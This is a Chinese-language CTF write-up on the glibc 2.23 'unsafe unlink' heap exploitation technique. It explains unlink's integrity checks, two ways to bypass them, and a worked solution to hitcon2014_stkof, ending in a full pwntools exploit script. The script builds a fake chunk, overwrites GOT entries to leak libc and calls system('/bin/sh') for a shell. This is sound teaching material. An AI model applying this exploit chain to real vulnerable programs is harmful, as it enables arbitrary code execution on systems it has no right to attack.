0x01 正常unlink 当一个bin从记录bin的双向链表中被取下时,会触发unlink。常见的比如:相邻空闲bin进行合并,malloc_consolidate时。unlink的过程如下图所示(来自CTFWIKI)主要包含3个步骤,就是这么简单。

根据p的fd和bk获得双向链表的上一个chunk FD和下一个chunk BK 设置FD->bk=BK 设置BK->fd=FD 在这里插入图片描述 下面看一下unlink的源码。

#安装源码 apt install glibc-source #下面目录下有一个glibc-2.23.tar.xz /usr/src/glibc/ #可以拷贝到understand中进行源码阅读 1 2 3 4 5 size检查 第一个要检查的是需要解链bin的size。在堆中有两个地方存储了p的size。第一个是当前p->size。第二个是next_chunk§->prev_size。比较两个大小。 fd和bk检查 检查p是否在双向链表中。在双向链表中有两个指针指向p。第一个是FD->bk,第二个是BK->fd。

/* Take a chunk off a bin list */ #define unlink(AV, P, BK, FD) {
//第一个检查 if (__builtin_expect (chunksize(P) != (next_chunk(P))->prev_size, 0))
malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);
FD = P->fd;
BK = P->bk;
//第二个检查 if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
//完成上图的unlink过程 //具体过程可以看源码 }
} 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 0x02 利用思路 要利用unlink首先要绕过前面提到的两个检查。绕过size检查需要可以修改下一个chunk->prev_size。绕过fd和bk检查需要能够控制fd和bk。

1.第一种利用思路 利用条件

存在UAF可以修改p的fd和bk 存在一个指针指向p 利用方法

通过UAF漏洞修改chunk0->fd=G_ptr-0x18,chunk0->bk=G_ptr-0x10,绕过fd和bk检查 free下一个chunk,chunk0和chunk1合并,chunk0发生unlink,修改了G_ptr的值 效果

修改G_ptr=&G_ptr-0x18。如果能够对G_ptr指向的空间进行修改,则可能导致任意地址读写。 在这里插入图片描述

2.第二种方法思路 这种情况在做题中出现的情况比较多。因为malloc是返回的指针如果存储在bss段或者heap中则正好满足利用条件2。

利用条件

可以修改p的下一个chunk->pre_size和inuse位 存在一个指针指向chunk p的内容部分 利用方法

伪造fake_chunk。fakechunk->size=chunk0-0x10,可以绕过size检查。fakechunk->fd=&G_ptr-0x18,fakechunk->bk=&G_ptr-0x10,绕过fd和bk检查。 修改下一个chunk的prev_size=chunksize§-0x10。因为fakechunk比chunk0小0x10。 修改下一个chunk的inuse位。 free下一个堆块chunk1。fakechunk和chunk1合并,fakechunk发生unlink,修改了G_ptr的值。 效果 修改G_ptr=&G_ptr-0x18。如果能够对G_ptr指向的空间进行修改,则可能导致任意地址读写。 在这里插入图片描述

0x03 例题 hitcon2014_stkof 1.查看程序保护 可以修改GOT表,没有PIE,很好。 在这里插入图片描述 试运行,没有输出。 在这里插入图片描述

2.查看程序 菜单题只是没有把菜单打印出来。1是add。2是edit。3是free。4是todo没有实际用途 在这里插入图片描述 add函数 add就是正常的add

读入size malloc对应的size 0x602100记录的是已经申请的note数量 0x602140是heaparray指针数组 在这里插入图片描述 edit函数 没有验证输入的size大小,存在heap overflow

输入index 输入size 输入content 在这里插入图片描述 delete函数

将堆块释放 将数组置0 在这里插入图片描述 3.利用方法 这里正好满足第二种利用思路,bss段存在G_ptr指向堆的内容,且能修改下一个堆块的prev_size和inuse位。

构造fakechunk来unlink使bss段中的堆指针指向附近 利用edit函数,修改函数指针指向free_got 修改free_got为put_plt,之后再调用free时就会输出指针指向的内容来泄露libc地址 将free_got改为system地址 调用free函数释放掉内容为"/bin/sh"的堆块来getshell 这里还有一个问题就是缓冲区的问题。题目并没有setbuf,所以IO缓冲区会在程序运行的时候在堆中进行申请。我们先连续创建3个0x20大小的chunk来查看堆栈排布情况,方便后续unlink操作。如下图,第一个申请的堆块并没有和后面几个连续分布,所以第一个堆块不能用来做fakechunk。

在这里插入图片描述 创建堆块

idx1用来解决IO缓存的问题 idx2用来构造fakechunk和idx3来unlink idx4用来防止和top chunk和并

head = 0x602140 #堆指针数组 fd = head + 16 - 0x18 bk = head + 16 - 0x10 add(0x50) # idx 1 add(0x30) # idx 2 add(0x80) # idx 3 add(0x20) # idx 4 1 2 3 4 5 6 7 构造完成的堆空间分布 在这里插入图片描述 0x602100存储了note数量 0x602140存储了指针数组,索引从1开始 在这里插入图片描述 构造fakechunk

如下图,黄框为构造的fakechunk

payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk) payload1 = payload1.ljust(0x30,b'A') payload1 += p64(0x30) + p64(0x90) edit(2, payload1) 1 2 3 4 在这里插入图片描述 unlink

释放第3个堆块,触发unlink。0x602150中的指针已经指向bss段的空间当中。通过修改数组中的指针来达到任意地址写的目的

在这里插入图片描述 leak libc

将heaparray[1]指针覆盖为free_got,heaparray[2]指针覆盖为puts_got

free_got = elf.got['free'] puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] payload2 = b'a'*8+b'b'*8+p64(free_got)+p64(puts_got) edit(2, payload2) 1 2 3 4 5 在这里插入图片描述 将free_got的值覆盖为puts_plt。下次调用free时实际调用的是puts

payload3 = p64(puts_plt) edit(1, payload3) free(2)#实际调用的是puts(puts_got) puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00')) libc_base = puts_addr - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

log.success('puts_addr:{}'.format(hex(puts_addr))) log.success('system_addr :{}'.format(hex(system_addr))) log.success('binsh_addr: {}'.format(hex(binsh_addr))) 1 2 3 4 5 6 7 8 9 10 11 在这里插入图片描述 getshell 修改free_got为system,并释放内容为’/bin/sh’的堆块来getshell。

payload4 = p64(system_addr) edit(1, payload4) edit(4, '/bin/sh\x00') free(4) p.interactive() 1 2 3 4 5 在这里插入图片描述

4.exp from pwn import * context.arch = 'amd64' debug = 1

if debug: context.log_level='debug' context.terminal = ['terminator','-x','sh','-c'] p = process('./stkof') elf = ELF('./stkof') libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') else: p = remote('node3.buuoj.cn',28755) elf = ELF('./stkof') libc = ELF('/home/abel/pwn/libc/u16/x64libc-2.23.so')

def add(size): p.sendline('1') p.sendline(str(size)) p.recvuntil('OK\n')

def edit(idx, content): p.sendline('2') p.sendline(str(idx)) p.sendline(str(len(content))) p.send(content) p.recvuntil('OK\n')

def free(idx): p.sendline('3') p.sendline(str(idx))

head = 0x602140 fd = head + 16 - 0x18 bk = head + 16 - 0x10

add(0x50) # idx 1 add(0x30) # idx 2 add(0x80) # idx 3 add(0x20) # idx 4

payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk) payload1 = payload1.ljust(0x30,b'A') payload1 += p64(0x30) + p64(0x90) edit(2, payload1)

free(3)

free_got = elf.got['free'] puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] payload2 = b'a'*8+b'b'*8+p64(free_got)+p64(puts_got) edit(2, payload2)

payload3 = p64(puts_plt) edit(1, payload3) free(2)

p.recvuntil('OK\n')

puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00')) libc_base = puts_addr - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

log.success('puts_addr:{}'.format(hex(puts_addr))) log.success('system_addr :{}'.format(hex(system_addr))) log.success('binsh_addr: {}'.format(hex(binsh_addr)))

payload4 = p64(system_addr) edit(1, payload4)

edit(4, '/bin/sh\x00') free(4)

p.interactive()

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 0x04 总结 当free时(不是fastbin)如果前面或者后面的chunk是空闲的,则会发生合并 如果此时存在G_ptr指向前面的chunk,并且存在覆盖的话可能存在unsafe_unlink 1.创造fakechunk,这里针对64位

presize=0 size= 原来size-0x10 fd=&G_ptr-0x18 bk=&G_ptr-0x10 1 2 3 4 2.覆盖下一个chunk

presize = 原pre_size-0x10 size从0x91改为0x90 1 2 3.触发unlink

free(chunk1) chunk1会和前面的chunk0进行合并,断链 fake_chunk->bk->fd = fake_chunk->fd->bk &G_ptr = &G_ptr-0x18